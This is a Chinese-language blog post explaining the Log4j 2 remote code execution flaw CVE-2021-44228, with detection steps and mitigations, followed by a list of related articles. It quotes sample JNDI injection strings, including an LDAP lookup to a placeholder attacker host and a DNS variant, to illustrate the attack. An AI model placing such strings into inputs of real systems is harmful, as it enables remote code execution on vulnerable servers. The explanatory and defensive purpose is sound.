简介

2021 年 12 月 9 日,在Log4j的 GitHub 上公开披露了一个影响多个版本的 Apache Log4j 2 实用程序的高严重性漏洞 CVE-2021-44228、CVSSv3 10.0 (https://logging.apache.org/log4j/2.x) 。该漏洞由阿里云安全团队的陈兆军(可能为音译)发现,影响Apache Log4j 2版本2.0至2.14.1。根据开发人员的说法,Log4j的1.x版本不容易受到此漏洞的影响。

该漏洞允许未经身份验证的远程执行代码。

目前已经能够看到较多利用此漏洞的PoC验证攻击代码,该漏洞可通过多种特定于应用程序的方法访问。实际上,任何允许远程连接提供由使用 Log4j 库的应用程序写入日志文件的任意数据的场景都容易受到利用。由于影响面实在太过巨大,威胁等级及实现方式非常危险,Apache基金会将此漏洞标记为最高级别的10级。目前大致能确定以下内容:

  • 广泛使用的企业软件的默认安装容易受到攻击。

  • 无需身份验证即可可靠地利用此漏洞。

  • 该漏洞会影响 Log4j 2 的多个版本。

  • 该漏洞允许以运行利用库的应用程序的用户身份远程执行代码。

Log4j 2是一个基于Java的日志库,广泛用于业务系统开发,包含在各种开源库中,并直接嵌入到主要软件应用程序中。影响范围已扩展到数千种产品和设备,包括Struts 2,Solr,Druid,Flink和Swift等Apache产品。由于此漏洞位于 Java 库中,因此 Java 的跨平台性质意味着该漏洞可在许多平台(包括 Windows 和 Linux)上被利用。由于许多基于 Java 的应用程序可以利用 Log4j 2,因此组织应与应用程序供应商联系,或确保其 Java 应用程序运行最新的最新版本。使用Log4j 2的开发人员应确保尽快将最新版本的Log4j合并到他们的应用程序中,以保护用户和组织。

为了便于理解Log4j 2漏洞的影响面和危害性原因,网上出现了漫画图,在这里贴出来供大家一览。

‍‍这张图说明了最简单的原理

这张图说明了为什么会影响这么多系统

再来个中文版的

攻击者使用该漏洞的可能方式可参考Fastly (https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j) 的图片:

在使用Log4j 2的大量的日志记录框架中,开发人员通常认为消息作为基本格式数据进行处理。但通过Log4j 2实际提供了JNDI查找的能力,又没有对这些查找进行限制,由此产生了这个漏洞。

JNDI,Java命名和目录接口,是目录服务的Java API,提供LDAP或DNS接口查找数据和资源,当可以返回的数据类型之一是指向Java类的URI的时候,如果加载了不受信任的Java类,就将不知不觉地远程执行任意代码。

例如记录这样的信息:

log.info("cve-2021-44228 is security nightmare! {}", userInput)

在生产环境中记录HTTP信息作为日志非常常见,这一问题可能如下:

log.inf("Request User-Agent: {}", userAgent)

在初始步骤插入JNDI字串,例如 $(jndi:ldap://attacker.com/a) 后,存在漏洞的Log4j服务器就能够通过URI访问可以执行命令的有效负载。Log4j服务器将执行LDAP查询,然后LDAP服务器将响应有效负载链接的目录信息。

接下来这些链接指向的Java类的有效负载将被加载到内存,由受攻击的Log4j服务器执行。除了LDAP,也可以通过该漏洞强制被攻击的Log4j服务器进行DNS查询,例如 ${jndi:dns://<dns server>/<TXT record query string>} 。我猜理论上可以刷新DNS缓存做DNS劫持。

同时可参考微软提供的供给链参考图片:

检测

如何判断是否在使用的系统受到Log4j组件漏洞影响呢?

  1. 如果您在软件清单中找到这些哈希值,那么您的系统中就有易受攻击的log4j:https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes

  2. 属于 log4j 库的 JAR 文件的存在可能表明应用程序可能容易受到 CVE-2021-44228 的影响。要搜索的特定文件应符合以下模式:"log4j-core-*.jar"

  3. 根据安装方法的不同,匹配的 JAR 文件的位置也可能指示哪个应用程序可能容易受到攻击。例如,在 Windows 上,如果文件位于 C:\Program Files\ApplicationName\log4j-core-version.jar 中则表示应调查应用程序名称。在 Linux 上,lsof 实用程序可以显示当前正在使用 JAR 文件的进程,并且可以通过以下语法运行:"lsof /path/to/log4j-core-version.jar;"

  4. 查看并随时关注有关更新:

  • 查看Apache基金会关于Log4j漏洞信息的更新:https://logging.apache.org/log4j/2.x/security.html

  • 查看NIST的NVD中该漏洞信息的更新:https://nvd.nist.gov/vuln/detail/CVE-2021-44228

  • 如果使用Microsoft产品,查看该漏洞信息的更新:https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/

  • 如果使用VMware产品,查看该漏洞信息的更新:https://www.vmware.com/security/advisories/VMSA-2021-0028.html

  • 以CVE-2021-44228为关键字搜索更多信息

缓解

如同前面漫画图中显示的,如果您在某个产品或者服务中发现了该漏洞的声明,并不意味着产品或者服务本身存在缺陷,而是我们需要聚焦在这个漏洞本身,进行尽快的修复或缓解。

所有人都希望能充分了解这个漏洞,并在第一时间使用对应的补丁解决问题。不幸的是,软件开发和测试需要周期时间,所以补丁基本上不会比攻击代码出现的更早。但至少我们可以通过建议的缓解措施进行缓解。

  1. 通过产品和服务等官方补丁,替换受影响的Log4j 2组件。如上所述,出于兼容性稳定性考虑,不建议自行替换。可随时查看前面提供的产品漏洞说明页面信息更新,以尽早获得补丁。测试后进行生产更新。

  2. 问题的根源在于没有限制JNDI的查询限制,因此在Log4j 2组件存在的地方,需要对查询做手动限制。

  • Log4J 2 版本 2.10 到 2.14.1 支持将参数 log4j2.formatMsgNoLookups 设置为"true",以禁用易受攻击的功能。确保在 Java 虚拟机的启动脚本中配置了此参数:-Dlog4j2.formatMsgNoLookups=true。

  • 或者,使用 Log4j 2.10 到 2.14.1 的客户可以设置 LOG4J_FORMAT_MSG_NO_LOOKUPS="true" 环境变量来强制进行此更改。

  • Kubernetes 管理员可以使用 "kubectl set env" 来设置 LOG4J_FORMAT_MSG_NO_LOOKUPS="true" 环境变量,以便在 Java 应用程序运行 Log4j 2.10 到 2.14.1 的 Kubernetes 集群中应用缓解措施,从而自动有效地反映在所有 pod 和容器上。

  • 对于从 2.0-beta9 到 2.10.0 的版本,缓解措施是从类路径中删除 JndiLookup 类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

如果系统位于受到防护的网络内部,可以考虑在边缘访问网关,例如WAF上进行访问过滤。目前主流WAF厂商大多已经更新了安全规则,能够识别该漏洞相关的指纹信息。

可以在系统中启用并更新安全软件,例如Defender。如果使用云服务,也可以对访问日志进行监控。可参考:有关预防、检测和搜寻 CVE-2021-44228 Log4j 2 漏洞利用的指南 - Microsoft 安全博客 (https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation)

建议

  1. 无需谈虎色变,尽快的厘清架构并评估影响面是第一要务

  2. 召集所有相关人员,例如安全、架构和业务团队,评估修复/缓解计划并制定时间表

  3. 检查现有架构时,不要仅关注后端(服务器)架构,也应该充分评估使用了Log4j组件的前端(客户端)。客户端的设备是移动的,存在漏洞的设备是可以绕过防火墙的

  4. 作为VDI/UEM从业人员,强烈建议在VDI架构中考虑标准化和使用快速的制备方式,在出现风险时能够及时更新到安全和配置基线

  5. 充分考虑零信任架构,即使是内网或相同网络,也需要考虑网络微隔离

因赶时间,错漏难免,还请不吝赐教。

Log4j 2漏洞(CVE-2021-44228)的快速响应相关推荐

  1. OpenShift Security (9) - 用 RHACS 扫描 Log4j 安全漏洞,屏蔽不安全镜像部署

    <OpenShift 4.x HOL教程汇总> 说明:本文已经在 OpenShift 4.9 + RHACS 环境中验证,需要先完成<OpenShift Security (2) - ...

  2. 关于Log4j高危漏洞的反思

    你用Log4j 吐了吗? 反正我是吐了一个月了. 2021年11月份底,log4j官网发布了log4j的漏洞,消息一出,整个IT互联网行业几乎都是后院着火.漏洞的原理很简单,但是其危害相当于把服务器变 ...

  3. php x24 x65 x6d x61,Jboss远程代码执行漏洞CVE:2013-4810获得system权限

    此方法成功的渗透至Windows系统并获得最高权限exp 此方法成功的渗透至Windows系统并获得最高权限 exp ?php/*Apache Tomcat/JBoss EJBInvokerServl ...

  4. Log4j CVE-2021-44228 漏洞及Spring Boot解决方案

    Log4j 的2 到 2.14 版本最近爆出了一个比较大的漏洞,漏洞编号是CVE-2021-44228.本篇对该漏洞进行简单介绍, 并介绍Spring Boot项目如何解决该漏洞. CVE-2021- ...

  5. 超8成项目存在高危开源漏洞 《2021中国软件供应链安全分析报告》发布

     聚焦源代码安全,网罗国内外最新资讯! 专栏·供应链安全 数字化时代,软件无处不在.软件如同社会中的"虚拟人",已经成为支撑社会正常运转的最基本元素之一,软件的安全性问题也正在成为 ...

  6. 紧急!Log4j 史诗级漏洞来袭,已引起大规模入侵,速速自查!

    1.漏洞简介 Apache Log4j 2是一款优秀的Java日志框架.该工具重写了Log4j框架,并且引入了大量丰富的特性.该日志框架被大量用于业务系统开发,用来记录日志信息.由于Apache Lo ...

  7. Log4j执行漏洞修复教程

    12 月 10 日凌晨,Apache 开源项目 Log4j2 的远程代码执行漏洞细节被公开,漏洞威胁等级为:严重. Log4j2 是一个基于 Java 的日志记录工具.它重写了 Log4j 框架,引入 ...

  8. Log4j史诗级漏洞,我们这些小公司能做些什么?

    事件背景 12月10日,看到朋友圈中已经有人在通宵修改.上线系统了.随即,又看到阿里云安全.腾讯安全部门发出的官方报告:"Apache Log4j2存在远程代码执行漏洞",且漏洞已 ...

  9. oracle cve 漏洞,CVE安全漏洞的理解

    几乎oracle的每个季度发布的数据库补丁Oracle Database Server Risk Matrix一项中都有如下语句描述的安全补丁 This vulnerability is remote ...

最新文章

  1. PowerDesigner中使用vbscript访问对象进行批量操作
  2. 【Linux】用户组、用户操作
  3. ADO学习(三)Command 对象
  4. linux修复u盘文件系统,linux下转换U盘文件系统
  5. IT基础架构规划方案二(计算机系统与机房规划规划)
  6. Oracle 11g ora 15018,oracle 11gR2 RAC root.sh 错误 ORA-15072 ORA-15018
  7. Vue项目 报错TypeError [ERR INVALID ARG TYPE]: The “path“ argument must be of type string
  8. 没有bug队——加贝——Python 练习实例 25,26
  9. 就在这段时间让自己充实起来
  10. WPF获取相对位置、坐标的方法
  11. asp.net 通过IHttpHandler开发接口
  12. 远程连接桌面不能全屏显示的解决方法
  13. 易班自动答题脚本_自动答题脚本教程及源码分享(无视分辨率)
  14. 如何在线修改图片大小?图片在线改大小方法推荐给你
  15. 贪心算法 | 神秘电报密码——哈夫曼编码
  16. 软件项目招投标中的“标的额”是什么意思?
  17. 向Android系统中添加模块及产品流程
  18. 资产负债表与利润表钩稽关系
  19. 2018年SEO网络营销新技巧,如何让新网站快速收录与排名
  20. Orman Clark的垂直导航菜单:CSS3版本

热门文章

  1. Android版哆啦A梦连连看游戏源码完整版
  2. 《Java程序员全攻略:从小工到专家》连载八:加入什么样的公司
  3. lstm需要优化的参数_使用PyTorch手写代码从头构建LSTM,更深入的理解其工作原理...
  4. 个人站立会议-----20181216
  5. linux里查看最耗CPU的线程
  6. js控制图像等比例缩放
  7. file协议 控制面板_如何在Windows File Explorer导航窗格中显示控制面板和回收站
  8. .gitignore文件将已经纳入版本管理的文件删除
  9. 好程序员技术文档HTML5开发中的javascript闭包
  10. github的使用教程